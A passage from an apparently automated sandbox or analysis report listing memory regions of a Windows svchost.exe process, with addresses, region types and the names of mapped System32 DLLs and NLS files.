"\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui") Region: id = 1219 start_va = 0x1f40000 end_va = 0x203ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f40000" filename = "" Region: id = 1220 start_va = 0x2040000 end_va = 0x213ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002040000" filename = "" Region: id = 1221 start_va = 0x2140000 end_va = 0x21bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002140000" filename = "" Region: id = 1222 start_va = 0x2200000 end_va = 0x22fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002200000" filename = "" Region: id = 1223 start_va = 0x2300000 end_va = 0x23fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002300000" filename = "" Region: id = 1224 start_va = 0x2400000 end_va = 0x24fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002400000" filename = "" Region: id = 1225 start_va = 0x2500000 end_va = 0x25fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002500000" filename = "" Region: id = 1226 start_va = 0x2600000 end_va = 0x267ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002600000" filename = "" Region: id = 1227 start_va = 0x2680000 end_va = 0x277ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002680000" filename = "" Region: id = 1228 start_va = 0x2780000 end_va = 0x287ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002780000" filename = "" Region: id = 1229 start_va = 0x2880000 end_va = 0x28fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002880000" filename = "" Region: id = 1230 start_va = 0x2900000 end_va = 0x29fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002900000" filename = "" Region: id = 1231 start_va = 0x2a00000 end_va = 0x2a7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002a00000" filename = "" Region: id = 1232 start_va = 0x2a80000 end_va = 0x2afffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002a80000" filename = "" Region: id = 1233 start_va = 0x2b00000 end_va = 0x2b8dfff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000001.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000001.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000001.db") Region: id = 1234 start_va = 0x2c00000 end_va = 0x2cfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002c00000" filename = "" Region: id = 1235 start_va = 0x2e00000 end_va = 0x2efffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002e00000" filename = "" Region: id = 1236 start_va = 0x3300000 end_va = 0x33fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003300000" filename = "" Region: id = 1237 start_va = 0x3400000 end_va = 0x347ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003400000" filename = "" Region: id = 1238 start_va = 0x3480000 end_va = 0x34fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003480000" filename = "" Region: id = 1239 start_va = 0x3500000 end_va = 0x357ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003500000" filename = "" Region: id = 1240 start_va = 0x3590000 end_va = 0x3596fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003590000" filename = "" Region: id = 1241 start_va = 0x35a0000 end_va = 0x369ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000035a0000" filename = "" Region: id = 1242 start_va = 0x3700000 end_va = 0x37fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003700000" filename = "" Region: id = 1243 start_va = 0x3800000 end_va = 0x38fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003800000" filename = "" Region: id = 1244 start_va = 0x3900000 end_va = 0x39fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003900000" filename = "" Region: id = 1245 start_va = 0x3a00000 end_va = 0x3afffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003a00000" filename = "" Region: id = 1246 start_va = 0x3b00000 end_va = 0x3bfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003b00000" filename = "" Region: id = 1247 start_va = 0x3c00000 end_va = 0x3cfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003c00000" filename = "" Region: id = 1248 start_va = 0x3e00000 end_va = 0x3efffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003e00000" filename = "" Region: id = 1249 start_va = 0x3f00000 end_va = 0x3ffffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003f00000" filename = "" Region: id = 1250 start_va = 0x4100000 end_va = 0x41fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004100000" filename = "" Region: id = 1251 start_va = 0x4200000 end_va = 0x42fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004200000" filename = "" Region: id = 1252 start_va = 0x4300000 end_va = 0x43fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004300000" filename = "" Region: id = 1253 start_va = 0x4400000 end_va = 0x44fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004400000" filename = "" Region: id = 1254 start_va = 0x4600000 end_va = 0x46fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004600000" filename = "" Region: id = 1255 start_va = 0x48d0000 end_va = 0x48d1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "activeds.dll.mui" filename = "\\Windows\\System32\\en-US\\activeds.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\activeds.dll.mui") Region: id = 1256 start_va = 0x48e0000 end_va = 0x48e0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000048e0000" filename = "" Region: id = 1257 start_va = 0x49f0000 end_va = 0x49f0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msxml6r.dll" filename = "\\Windows\\System32\\msxml6r.dll" (normalized: "c:\\windows\\system32\\msxml6r.dll") Region: id = 1258 start_va = 0x4bd0000 end_va = 0x4bd6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004bd0000" filename = "" Region: id = 1259 start_va = 0x4c00000 end_va = 0x4cfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004c00000" filename = "" Region: id = 1260 start_va = 0x4d00000 end_va = 0x4dfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004d00000" filename = "" Region: id = 1261 start_va = 0x4e00000 end_va = 0x4efffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004e00000" filename = "" Region: id = 1262 start_va = 0x4f00000 end_va = 0x4ffffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004f00000" filename = "" Region: id = 1263 start_va = 0x5000000 end_va = 0x50fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005000000" filename = "" Region: id = 1264 start_va = 0x5100000 end_va = 0x51fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005100000" filename = "" Region: id = 1265 start_va = 0x5200000 end_va = 0x52fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005200000" filename = "" Region: id = 1266 start_va = 0x5400000 end_va = 0x547ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005400000" filename = "" Region: id = 1267 start_va = 0x54f0000 end_va = 0x55effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000054f0000" filename = "" Region: id = 1268 start_va = 0x55f0000 end_va = 0x55f6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000055f0000" filename = "" Region: id = 1269 start_va = 0x5600000 end_va = 0x56fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005600000" filename = "" Region: id = 1270 start_va = 0x5700000 end_va = 0x57fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005700000" filename = "" Region: id = 1271 start_va = 0x5800000 end_va = 0x587ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005800000" filename = "" Region: id = 1272 start_va = 0x5880000 end_va = 0x597ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005880000" filename = "" Region: id = 1273 start_va = 0x5a00000 end_va = 0x5a7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005a00000" filename = "" Region: id = 1274 start_va = 0x5a80000 end_va = 0x5b7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005a80000" filename = "" Region: id = 1275 start_va = 0x5b80000 end_va = 0x5c7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005b80000" filename = "" Region: id = 1276 start_va = 0x5c80000 end_va = 0x5d7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005c80000" filename = "" Region: id = 1277 start_va = 0x5d80000 end_va = 0x5e7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005d80000" filename = "" Region: id = 1278 start_va = 0x5e80000 end_va = 0x5f7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005e80000" filename = "" Region: id = 1279 start_va = 0x5f80000 end_va = 0x607ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005f80000" filename = "" Region: id = 1280 start_va = 0x6080000 end_va = 0x617ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006080000" filename = "" Region: id = 1281 start_va = 0x6180000 end_va = 0x627ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006180000" filename = "" Region: id = 1282 start_va = 0x63c0000 end_va = 0x64bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000063c0000" filename = "" Region: id = 1283 start_va = 0x6560000 end_va = 0x6564fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "winnlsres.dll" filename = "\\Windows\\System32\\winnlsres.dll" (normalized: "c:\\windows\\system32\\winnlsres.dll") Region: id = 1284 start_va = 0x6570000 end_va = 0x657ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "winnlsres.dll.mui" filename = "\\Windows\\System32\\en-US\\winnlsres.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\winnlsres.dll.mui") Region: id = 1285 start_va = 0x6590000 end_va = 0x6596fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006590000" filename = "" Region: id = 1286 start_va = 0x65a0000 end_va = 0x669ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000065a0000" filename = "" Region: id = 1287 start_va = 0x66a0000 end_va = 0x66b0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_1256.nls" filename = "\\Windows\\System32\\C_1256.NLS" (normalized: "c:\\windows\\system32\\c_1256.nls") Region: id = 1288 start_va = 0x66c0000 end_va = 0x66d0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_1251.nls" filename = "\\Windows\\System32\\C_1251.NLS" (normalized: "c:\\windows\\system32\\c_1251.nls") Region: id = 1289 start_va = 0x66e0000 end_va = 0x66f0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_1254.nls" filename = "\\Windows\\System32\\C_1254.NLS" (normalized: "c:\\windows\\system32\\c_1254.nls") Region: id = 1290 start_va = 0x6700000 end_va = 0x67fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006700000" filename = "" Region: id = 1291 start_va = 0x6800000 end_va = 0x68fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006800000" filename = "" Region: id = 1292 start_va = 0x6900000 end_va = 0x69fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006900000" filename = "" Region: id = 1293 start_va = 0x6b00000 end_va = 0x6bfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006b00000" filename = "" Region: id = 1294 start_va = 0x6d00000 end_va = 0x6dfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006d00000" filename = "" Region: id = 1295 start_va = 0x6ec0000 end_va = 0x6ec6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006ec0000" filename = "" Region: id = 1296 start_va = 0x6f00000 end_va = 0x6ffffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006f00000" filename = "" Region: id = 1297 start_va = 0x7000000 end_va = 0x70fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007000000" filename = "" Region: id = 1298 start_va = 0x7100000 end_va = 0x71fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007100000" filename = "" Region: id = 1299 start_va = 0x7200000 end_va = 0x72fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007200000" filename = "" Region: id = 1300 start_va = 0x7300000 end_va = 0x7310fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_1250.nls" filename = "\\Windows\\System32\\C_1250.NLS" (normalized: "c:\\windows\\system32\\c_1250.nls") Region: id = 1301 start_va = 0x7320000 end_va = 0x7330fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_1253.nls" filename = "\\Windows\\System32\\C_1253.NLS" (normalized: "c:\\windows\\system32\\c_1253.nls") Region: id = 1302 start_va = 0x7340000 end_va = 0x7350fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_1257.nls" filename = "\\Windows\\System32\\C_1257.NLS" (normalized: "c:\\windows\\system32\\c_1257.nls") Region: id = 1303 start_va = 0x7360000 end_va = 0x7370fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_1255.nls" filename = "\\Windows\\System32\\C_1255.NLS" (normalized: "c:\\windows\\system32\\c_1255.nls") Region: id = 1304 start_va = 0x7380000 end_va = 0x73a7fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_932.nls" filename = "\\Windows\\System32\\C_932.NLS" (normalized: "c:\\windows\\system32\\c_932.nls") Region: id = 1305 start_va = 0x73b0000 end_va = 0x73e0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_949.nls" filename = "\\Windows\\System32\\C_949.NLS" (normalized: "c:\\windows\\system32\\c_949.nls") Region: id = 1306 start_va = 0x73f0000 end_va = 0x7400fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_874.nls" filename = "\\Windows\\System32\\C_874.NLS" (normalized: "c:\\windows\\system32\\c_874.nls") Region: id = 1307 start_va = 0x7410000 end_va = 0x7420fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_1258.nls" filename = "\\Windows\\System32\\C_1258.NLS" (normalized: "c:\\windows\\system32\\c_1258.nls") Region: id = 1308 start_va = 0x7430000 end_va = 0x7460fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_936.nls" filename = "\\Windows\\System32\\C_936.NLS" (normalized: "c:\\windows\\system32\\c_936.nls") Region: id = 1309 start_va = 0x7470000 end_va = 0x74a0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_950.nls" filename = "\\Windows\\System32\\C_950.NLS" (normalized: "c:\\windows\\system32\\c_950.nls") Region: id = 1310 start_va = 0x74b0000 end_va = 0x75affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000074b0000" filename = "" Region: id = 1311 start_va = 0x75b0000 end_va = 0x76affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000075b0000" filename = "" Region: id = 1312 start_va = 0x76b0000 end_va = 0x77affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000076b0000" filename = "" Region: id = 1313 start_va = 0x79a0000 end_va = 0x7a9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000079a0000" filename = "" Region: id = 1314 start_va = 0x7ba0000 end_va = 0x7c9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007ba0000" filename = "" Region: id = 1315 start_va = 0x7ca0000 end_va = 0x7d9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007ca0000" filename = "" Region: id = 1316 start_va = 0x7da0000 end_va = 0x7e9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007da0000" filename = "" Region: id = 1317 start_va = 0x7ea0000 end_va = 0x7f9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007ea0000" filename = "" Region: id = 1318 start_va = 0x7fa0000 end_va = 0x809ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007fa0000" filename = "" Region: id = 1319 start_va = 0x80a0000 end_va = 0x819ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000080a0000" filename = "" Region: id = 1320 start_va = 0x81a0000 end_va = 0x829ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000081a0000" filename = "" Region: id = 1321 start_va = 0x8300000 end_va = 0x83fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008300000" filename = "" Region: id = 1322 start_va = 0x84a0000 end_va = 0x859ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000084a0000" filename = "" Region: id = 1323 start_va = 0x86a0000 end_va = 0x879ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000086a0000" filename = "" Region: id = 1324 start_va = 0x87a0000 end_va = 0x889ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000087a0000" filename = "" Region: id = 1325 start_va = 0x88a0000 end_va = 0x899ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000088a0000" filename = "" Region: id = 1326 start_va = 0x8a00000 end_va = 0x8afffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008a00000" filename = "" Region: id = 1327 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1328 start_va = 0x7df5ffec0000 end_va = 0x7df5fffbffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5ffec0000" filename = "" Region: id = 1329 start_va = 0x7df5fffc0000 end_va = 0x7df5fffe2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5fffc0000" filename = "" Region: id = 1330 start_va = 0x7df5ffff0000 end_va = 0x7ff5fffeffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5ffff0000" filename = "" Region: id = 1331 start_va = 0x7ff6bac60000 end_va = 0x7ff6bac6cfff monitored = 0 entry_point = 0x7ff6bac63980 region_type = mapped_file name = "svchost.exe" filename = "\\Windows\\System32\\svchost.exe" (normalized: "c:\\windows\\system32\\svchost.exe") Region: id = 1332 start_va = 0x7ffb0a870000 end_va = 0x7ffb0a886fff monitored = 0 entry_point = 0x7ffb0a877520 region_type = mapped_file name = "usoapi.dll" filename = "\\Windows\\System32\\usoapi.dll" (normalized: "c:\\windows\\system32\\usoapi.dll") Region: id = 1333 start_va = 0x7ffb0aef0000 end_va = 0x7ffb0af33fff monitored = 0 entry_point = 0x7ffb0af183e0 region_type = mapped_file name = "updatehandlers.dll" filename = "\\Windows\\System32\\updatehandlers.dll" (normalized: "c:\\windows\\system32\\updatehandlers.dll") Region: id = 1334 start_va = 0x7ffb0af40000 end_va = 0x7ffb0af9cfff monitored = 0 entry_point = 0x7ffb0af6e510 region_type = mapped_file name = "usocore.dll" filename = "\\Windows\\System32\\usocore.dll" (normalized: "c:\\windows\\system32\\usocore.dll") Region: id = 1335 start_va = 0x7ffb0b0a0000 end_va = 0x7ffb0b34ffff monitored = 0 entry_point = 0x7ffb0b0a1cf0 region_type = mapped_file name = "netshell.dll" filename = "\\Windows\\System32\\netshell.dll" (normalized: "c:\\windows\\system32\\netshell.dll") Region: id = 1336 start_va = 0x7ffb0cb80000 end_va = 0x7ffb0cb97fff monitored = 0 entry_point = 0x7ffb0cb8b850 region_type = mapped_file name = "dmcmnutils.dll" filename = "\\Windows\\System32\\dmcmnutils.dll" (normalized: "c:\\windows\\system32\\dmcmnutils.dll") Region: id = 1337 start_va = 0x7ffb0dc60000 end_va = 0x7ffb0dc70fff monitored = 0 entry_point = 0x7ffb0dc628d0 region_type = mapped_file name = "credentialmigrationhandler.dll" filename = "\\Windows\\System32\\CredentialMigrationHandler.dll" (normalized: "c:\\windows\\system32\\credentialmigrationhandler.dll") Region: id = 1338 start_va = 0x7ffb0de80000 end_va = 0x7ffb0deb1fff monitored = 0 entry_point = 0x7ffb0de8b0c0 region_type = mapped_file name = "shacct.dll" filename = "\\Windows\\System32\\shacct.dll" (normalized: "c:\\windows\\system32\\shacct.dll") Region: id = 1339 start_va = 0x7ffb0dfb0000 end_va = 0x7ffb0dfc7fff monitored = 0 entry_point = 0x7ffb0dfb1b10 region_type = mapped_file name = "locationframeworkinternalps.dll" filename = "\\Windows\\System32\\LocationFrameworkInternalPS.dll" (normalized: "c:\\windows\\system32\\locationframeworkinternalps.dll") Region: id = 1340 start_va = 0x7ffb0e540000 end_va = 0x7ffb0e64efff monitored = 0 entry_point = 0x7ffb0e57c010 region_type = mapped_file name = "dosvc.dll" filename = "\\Windows\\System32\\dosvc.dll" (normalized: "c:\\windows\\system32\\dosvc.dll") Region: id = 1341 start_va = 0x7ffb0e6b0000 end_va = 0x7ffb0e6ccfff monitored = 0 entry_point = 0x7ffb0e6b4f60 region_type = mapped_file name = "appinfo.dll" filename = "\\Windows\\System32\\appinfo.dll" (normalized: "c:\\windows\\system32\\appinfo.dll") Region: id = 1342 start_va = 0x7ffb0e6d0000 end_va = 0x7ffb0e6d7fff monitored = 0 entry_point = 0x7ffb0e6d13b0 region_type = mapped_file name = "dmiso8601utils.dll" filename = "\\Windows\\System32\\dmiso8601utils.dll" (normalized: "c:\\windows\\system32\\dmiso8601utils.dll") Region: id = 1343 start_va = 0x7ffb0f070000 end_va = 0x7ffb0f0d6fff monitored = 0 entry_point = 0x7ffb0f07b160 region_type = mapped_file name = "upnp.dll" filename = "\\Windows\\System32\\upnp.dll" (normalized: "c:\\windows\\system32\\upnp.dll") Region: id = 1344 start_va = 0x7ffb0f5b0000 end_va = 0x7ffb0f6ccfff monitored = 0 entry_point = 0x7ffb0f5dfe60 region_type = mapped_file name = "qmgr.dll" filename = "\\Windows\\System32\\qmgr.dll" (normalized: "c:\\windows\\system32\\qmgr.dll") Region: id = 1345 start_va = 0x7ffb0f7f0000 end_va = 0x7ffb0f82efff monitored = 0 entry_point = 0x7ffb0f8182d0 region_type = mapped_file name = "tcpipcfg.dll" filename = "\\Windows\\System32\\tcpipcfg.dll" (normalized: "c:\\windows\\system32\\tcpipcfg.dll") Region: id = 1346 start_va = 0x7ffb0f850000 end_va = 0x7ffb0f863fff monitored = 0 entry_point = 0x7ffb0f852a00 region_type = mapped_file name = "bitsigd.dll" filename = "\\Windows\\System32\\bitsigd.dll" (normalized: "c:\\windows\\system32\\bitsigd.dll") Region: id = 1347 start_va = 0x7ffb107e0000 end_va = 0x7ffb107f1fff monitored = 0 entry_point = 0x7ffb107e1a80 region_type = mapped_file name = "bitsproxy.dll" filename = "\\Windows\\System32\\BitsProxy.dll" (normalized: "c:\\windows\\system32\\bitsproxy.dll") Region: id = 1348 start_va = 0x7ffb10ae0000 end_va = 0x7ffb10b15fff monitored = 0 entry_point = 0x7ffb10ae27f0 region_type = mapped_file name = "windows.networking.hostname.dll" filename = "\\Windows\\System32\\Windows.Networking.HostName.dll" (normalized: "c:\\windows\\system32\\windows.networking.hostname.dll") Region: id = 1349 start_va = 0x7ffb10e10000 end_va = 0x7ffb10e20fff monitored = 0 entry_point = 0x7ffb10e17480 region_type = mapped_file name = "tetheringclient.dll" filename = "\\Windows\\System32\\tetheringclient.dll" (normalized: "c:\\windows\\system32\\tetheringclient.dll") Region: id = 1350 start_va = 0x7ffb10e30000 end_va = 0x7ffb10eb3fff monitored = 0 entry_point = 0x7ffb10e48d50 region_type = mapped_file name = "wbemess.dll" filename = "\\Windows\\System32\\wbem\\wbemess.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemess.dll") Region: id = 1351 start_va = 0x7ffb10f40000 end_va = 0x7ffb10f55fff monitored = 0 entry_point = 0x7ffb10f455e0 region_type = mapped_file name = "ncobjapi.dll" filename = "\\Windows\\System32\\ncobjapi.dll" (normalized: "c:\\windows\\system32\\ncobjapi.dll") Region: id = 1352 start_va = 0x7ffb10f60000 end_va = 0x7ffb11035fff monitored = 0 entry_point = 0x7ffb10f8a800 region_type = mapped_file name = "wmiprvsd.dll" filename = "\\Windows\\System32\\wbem\\WmiPrvSD.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiprvsd.dll") Region: id = 1353 start_va = 0x7ffb11040000 end_va = 0x7ffb110a3fff monitored = 0 entry_point = 0x7ffb1105bed0 region_type = mapped_file name = "repdrvfs.dll" filename = "\\Windows\\System32\\wbem\\repdrvfs.dll" (normalized: "c:\\windows\\system32\\wbem\\repdrvfs.dll") Region: id = 1354 start_va = 0x7ffb110b0000 end_va = 0x7ffb110d4fff monitored = 0 entry_point = 0x7ffb110b9900 region_type = mapped_file name = "wmiutils.dll" filename = "\\Windows\\System32\\wbem\\wmiutils.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiutils.dll") Region: id = 1355 start_va = 0x7ffb110e0000 end_va = 0x7ffb110f3fff monitored = 0 entry_point = 0x7ffb110e1800 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\System32\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemsvc.dll") Region: id = 1356 start_va = 0x7ffb11100000 end_va = 0x7ffb111f5fff monitored = 0 entry_point = 0x7ffb11139590 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\System32\\wbem\\fastprox.dll" (normalized: "c:\\windows\\system32\\wbem\\fastprox.dll") Region: id = 1357 start_va = 0x7ffb11200000 end_va = 0x7ffb11273fff monitored = 0 entry_point = 0x7ffb11215eb0 region_type = mapped_file name = "esscli.dll" filename = "\\Windows\\System32\\wbem\\esscli.dll" (normalized: "c:\\windows\\system32\\wbem\\esscli.dll") Region: id = 1358 start_va = 0x7ffb11280000 end_va = 0x7ffb113b6fff monitored = 0 entry_point = 0x7ffb112c0480 region_type = mapped_file name = "wbemcore.dll" filename = "\\Windows\\System32\\wbem\\wbemcore.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemcore.dll") Region: id = 1359 start_va = 0x7ffb11470000 end_va = 0x7ffb11485fff monitored = 0 entry_point = 0x7ffb11471af0 region_type = mapped_file name = "napinsp.dll" filename = "\\Windows\\System32\\NapiNSP.dll" (normalized: "c:\\windows\\system32\\napinsp.dll") Region: id = 1360 start_va = 0x7ffb11490000 end_va = 0x7ffb114a9fff monitored = 0 entry_point = 0x7ffb11492330 region_type = mapped_file name = "pnrpnsp.dll" filename = "\\Windows\\System32\\pnrpnsp.dll" (normalized: "c:\\windows\\system32\\pnrpnsp.dll") Region: id = 1361 start_va = 0x7ffb114b0000 end_va = 0x7ffb114bcfff monitored = 0 entry_point = 0x7ffb114b1420 region_type = mapped_file name = "winrnr.dll" filename = "\\Windows\\System32\\winrnr.dll" (normalized: "c:\\windows\\system32\\winrnr.dll") Region: id = 1362 start_va = 0x7ffb115e0000 end_va = 0x7ffb115eefff monitored = 0 entry_point = 0x7ffb115e4960 region_type = mapped_file name = "nci.dll" filename = "\\Windows\\System32\\nci.dll" (normalized: "c:\\windows\\system32\\nci.dll") Region: id = 1363 start_va = 0x7ffb11680000 end_va = 0x7ffb11690fff monitored = 0 entry_point = 0x7ffb11682fc0 region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\System32\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemprox.dll") Region: id = 1364 start_va = 0x7ffb116a0000 end_va = 0x7ffb116bdfff monitored = 0 entry_point = 0x7ffb116a3a40 region_type = mapped_file name = "atl.dll" filename = "\\Windows\\System32\\atl.dll" (normalized: "c:\\windows\\system32\\atl.dll") Region: id = 1365 start_va = 0x7ffb116c0000 end_va = 0x7ffb11741fff monitored = 0 entry_point = 0x7ffb116c2a10 region_type = mapped_file name = "hnetcfg.dll" filename = "\\Windows\\System32\\hnetcfg.dll" (normalized: "c:\\windows\\system32\\hnetcfg.dll") Region: id = 1366 start_va = 0x7ffb12610000 end_va = 0x7ffb12651fff monitored = 0 entry_point = 0x7ffb12613670 region_type = mapped_file name = "wdscore.dll" filename = "\\Windows\\System32\\wdscore.dll" (normalized: "c:\\windows\\system32\\wdscore.dll") Region: id = 1367 start_va = 0x7ffb12660000 end_va = 0x7ffb126a5fff monitored = 0 entry_point = 0x7ffb126679a0 region_type = mapped_file name = "adsldp.dll" filename = "\\Windows\\System32\\adsldp.dll" (normalized: "c:\\windows\\system32\\adsldp.dll") Region: id = 1368 start_va = 0x7ffb126b0000 end_va = 0x7ffb126effff monitored = 0 entry_point = 0x7ffb126bcbe0 region_type = mapped_file name = "adsldpc.dll" filename = "\\Windows\\System32\\adsldpc.dll" (normalized: "c:\\windows\\system32\\adsldpc.dll") Region: id = 1369 start_va = 0x7ffb126f0000 end_va = 0x7ffb12736fff monitored = 0 entry_point = 0x7ffb126f1d10 region_type = mapped_file name = "activeds.dll" filename = "\\Windows\\System32\\activeds.dll" (normalized: "c:\\windows\\system32\\activeds.dll") Region: id = 1370 start_va = 0x7ffb12740000 end_va = 0x7ffb1275efff monitored = 0 entry_point = 0x7ffb127437e0 region_type = mapped_file name = "netsetupapi.dll" filename = "\\Windows\\System32\\NetSetupApi.dll" (normalized: 